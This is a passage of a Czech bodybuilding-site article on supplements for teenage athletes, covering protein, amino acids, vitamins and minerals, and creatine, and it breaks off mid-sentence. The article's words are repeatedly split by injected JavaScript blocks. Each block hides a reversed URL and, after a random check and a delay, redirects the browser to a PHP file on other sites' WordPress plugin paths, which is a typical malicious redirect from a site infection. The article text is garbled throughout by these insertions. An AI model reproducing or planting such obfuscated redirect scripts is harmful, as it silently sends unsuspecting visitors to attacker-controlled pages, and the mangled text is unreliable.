$Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u011bku prob\u00edhaj\u00ed. K&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu pak mus\u00edte p\u0159ipo\u010d\u00edst n\u00e1roky vypl\u00fdvaj\u00edc\u00ed z&nbsp;tr\u00e9ninkov\u00e9 z\u00e1t\u011b\u017ee a snahy nabrat svaly.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/04\/teenage2-web-683x1024.jpg\" alt=\"\" class=\"wp-image-650\" width=\"171\" height=\"256\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/04\/teenage2-web-683x1024.jpg 683w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/04\/teenage2-web-200x300.jpg 200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/04\/teenage2-web-768x1151.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/04\/teenage2-web.jpg 800w\" sizes=\"auto, (max-width: 171px) 100vw, 171px\" \/><\/figure><\/div>\n\n\n\n<p>Ide\u00e1ln\u00ed by samoz\u0159ejm\u011b bylo pokr\u00fdt p\u0159\u00edjem b\u00edlkovin kvalitn\u00ed stravou (libov\u00e9 maso, ml\u00e9\u010dn\u00e9 v\u00fdrobky, vaj\u00ed\u010dka atd.), ale v&nbsp;praxi <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to mnohdy nen\u00ed mo\u017en\u00e9 i z&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho d\u016fvodu, \u017ee by <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to znamenalo konzumaci velk\u00fdch porc\u00ed zmi\u0148ovan\u00fdch potravin, tzn. nemalou z\u00e1t\u011b\u017e pro tr\u00e1vic\u00ed syst\u00e9m.<\/p>\n\n\n\n<p>Spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci (ty mlad\u00e9 nevyj\u00edmaje) tedy mohou \u010d\u00e1st denn\u00ed d\u00e1vky b\u00edlkovin pokr\u00fdt ve form\u011b proteinov\u00e9ho pr\u00e1\u0161ku, co\u017e je v&nbsp;podstat\u011b speci\u00e1ln\u011b upraven\u00e1 b\u00edlkovina (ml\u00e9\u010dn\u00e1, vaje\u010dn\u00e1, s\u00f3jov\u00e1 atd.). Podobn\u011b jako kojeneck\u00e9 ml\u00e9ko sv\u00fdm slo\u017een\u00edm uspokoj\u00ed n\u00e1roky miminka, proteinov\u00fd suplement sv\u00fdmi parametry a stravitelnost\u00ed vych\u00e1z\u00ed maxim\u00e1ln\u011b vst\u0159\u00edc tvrd\u011b tr\u00e9nuj\u00edc\u00edm spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>AMINOKYSELINY<\/strong><\/h2>\n\n\n\n<p>Aminokyseliny jsou z\u00e1kladn\u00ed stavebn\u00ed jednotky protein\u016f. Rozli\u0161ujeme aminokyseliny neesenci\u00e1ln\u00ed (t\u011blo si je um\u00ed samo vytvo\u0159it) a esenci\u00e1ln\u00ed (mus\u00ed b\u00fdt p\u0159ij\u00edm\u00e1ny ve strav\u011b). Z&nbsp;esenci\u00e1ln\u00edch aminokyselin maj\u00ed zcela v\u00fdsadn\u00ed postaven\u00ed tzv. BCAA (aminokyseliny s&nbsp;rozv\u011btven\u00fdm \u0159et\u011bzcem: leucin, izoleucin a valin). Ty, pokud je u\u017e\u00edv\u00e1te ve form\u011b suplementu, jsou rychle vst\u0159ebateln\u00e9, tak\u017ee je t\u011blo m\u016f\u017ee sn\u00e1ze vyu\u017e\u00edt. Napom\u00e1haj\u00ed regeneraci a stimuluj\u00ed r\u016fst sval\u016f.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>MULTIVITAMINY A MINER\u00c1LY<\/strong><\/h2>\n\n\n\n<p>Organismus vystaven\u00fd jak\u00fdmkoliv n\u00e1ro\u010dn\u00fdm podm\u00ednk\u00e1m (tzn. jak t\u011blo teenagera ve v\u00fdvinu, tak spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce v&nbsp;tvrd\u00e9m tr\u00e9ninku, p\u0159\u00edpadn\u011b pokud spl\u0148ujete oba ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159edpoklady) pot\u0159ebuje v\u00edce vitamin\u016f a miner\u00e1l\u016f. Hrozba deficitu n\u011bkter\u00e9 z&nbsp;cenn\u00fdch v\u00fd\u017eivn\u00fdch l\u00e1tek tedy nen\u00ed v\u016fbec mal\u00e1.<\/p>\n\n\n\n<p>Nej\u010dast\u011bji se l\u00e9ka\u0159i u t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u011bkov\u00e9 skupiny setk\u00e1vaj\u00ed s&nbsp;nedostatkem vitaminu D. Podle n\u011bkter\u00fdch studi\u00ed trp\u00ed deficitem <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vitaminu a\u017e \u010dtvrtina teenager\u016f.<sup>2<\/sup> Hladinu vitaminu D zjist\u00edte jednodu\u0161e z&nbsp;krve. To<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vy\u0161et\u0159en\u00ed dnes nab\u00edz\u00ed cel\u00e1 \u0159ada pracovi\u0161\u0165 i pro samopl\u00e1tce, p\u0159i\u010dem\u017e cena se pohybuje kolem 500,- K\u010d.<\/p>\n\n\n\n<p>Z&nbsp;miner\u00e1l\u016f je na seznamu ohro\u017een\u00fdch druh\u016f jednozna\u010dn\u011b \u017eelezo.<sup>3<\/sup> To chyb\u00ed zejm\u00e9na t\u011bm mlad\u00fdm lidem, kte\u0159\u00ed se vyh\u00fdbaj\u00ed konzumaci \u010derven\u00e9ho masa. N\u00e1chyln\u011bj\u0161\u00ed jsou k&nbsp;nedostatku \u017eeleza d\u00edvky, co\u017e je zp\u016fsobeno krevn\u00edmi ztr\u00e1tami b\u011bhem menstruace.<\/p>\n\n\n\n<p>D\u00e1le m\u00edvaj\u00ed dosp\u00edvaj\u00edc\u00ed pot\u00ed\u017ee s&nbsp;dosa\u017een\u00edm dostate\u010dn\u00e9ho p\u0159\u00edjmu zinku a v\u00e1pn\u00edku, p\u0159\u00edpadn\u011b vegani a vegetari\u00e1ni postr\u00e1daj\u00ed vitamin B12.<\/p>\n\n\n\n<p>Ide\u00e1ln\u00edm \u0159e\u0161en\u00edm by samoz\u0159ejm\u011b byla optimalizace j\u00eddeln\u00ed\u010dku, v&nbsp;n\u011bm\u017e by nem\u011bla chyb\u011bt vaj\u00ed\u010dka, ml\u00e9\u010dn\u00e9 produkty, ryby, libov\u00e9 maso, lu\u0161t\u011bniny ale tak\u00e9 dostatek \u010derstv\u00e9ho ovoce a zeleniny. &nbsp;K&nbsp;ide\u00e1lu m\u00e1 ov\u0161em stravovac\u00ed re\u017eim mnoha dosp\u00edvaj\u00edc\u00edch opravdu daleko. Ur\u010dit\u011b tedy d\u00e1v\u00e1 smysl p\u0159i n\u00e1kupu suplement\u016f myslet na kvalitn\u00ed multivitaminov\u00fd a miner\u00e1lov\u00fd produkt.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>KREATIN<\/strong><\/h2>\n\n\n\n<p>Kreatin je jednozna\u010dn\u011b nejl\u00e9pe prostudovan\u00fdm spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edm suplementem. Jeho \u00fa\u010dinnost potvrdily des\u00edtky v\u011bdeck\u00fdch studi\u00ed, kter\u00e9 sou\u010dasn\u011b prokazuj\u00ed, \u017ee jde o l\u00e1tku zcela bezpe\u010dnou. Kreatin se v&nbsp;lidsk\u00e9m t\u011ble p\u0159irozen\u011b vyskytuje. Bohu\u017eel ze stravy (zdrojem kreatinu je p\u0159edev\u0161\u00edm maso) nevytvo\u0159\u00edte v t\u011ble takovou z\u00e1sobu, jako p\u0159i pou\u017eit\u00ed adekv\u00e1tn\u00ed d\u00e1vky suplementu. A nav\u00fd\u0161en\u00ed kreatinov\u00fdch rezerv rozhodn\u011b d\u00e1v\u00e1 smysl, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee t\u00edm p\u0159\u00edzniv\u011b ovlivn\u00edte:<\/p>\n\n\n\n<p>&#8211; <strong>produkci energie<\/strong> (budete schopni tr\u00e9novat d\u00e9le a s&nbsp;vy\u0161\u0161\u00edm nasazen\u00edm), &nbsp;<\/p>\n\n\n\n<p>&#8211; <strong>n\u00e1r\u016fst svalov\u00e9 hmoty<\/strong> (kreatin podporuje budov\u00e1n\u00ed sval\u016f) i<\/p>\n\n\n\n<p>&#8211; <strong>odd\u00e1len\u00ed n\u00e1stupu \u00fanavy<\/strong> b\u011bhem tr\u00e9ninku.<\/p>\n\n\n\n<p>Samoz\u0159ejmost\u00ed by u v\u0161ech kategori\u00ed produkt\u016f m\u011blo b\u00fdt dodr\u017een\u00ed d\u00e1vkov\u00e1n\u00ed uveden\u00e9ho na etiket\u011b konkr\u00e9tn\u00edho produktu.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>SV\u011aT KULTURISTIKY A T\u00ddM EXPERT\u016e DOPORU\u010cUJ\u00cd:<\/strong><\/h2>\n\n\n\n<p>Zeptali jsme se odborn\u00edk\u016f, jak na problematiku suplementace dosp\u00edvaj\u00edc\u00edch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var 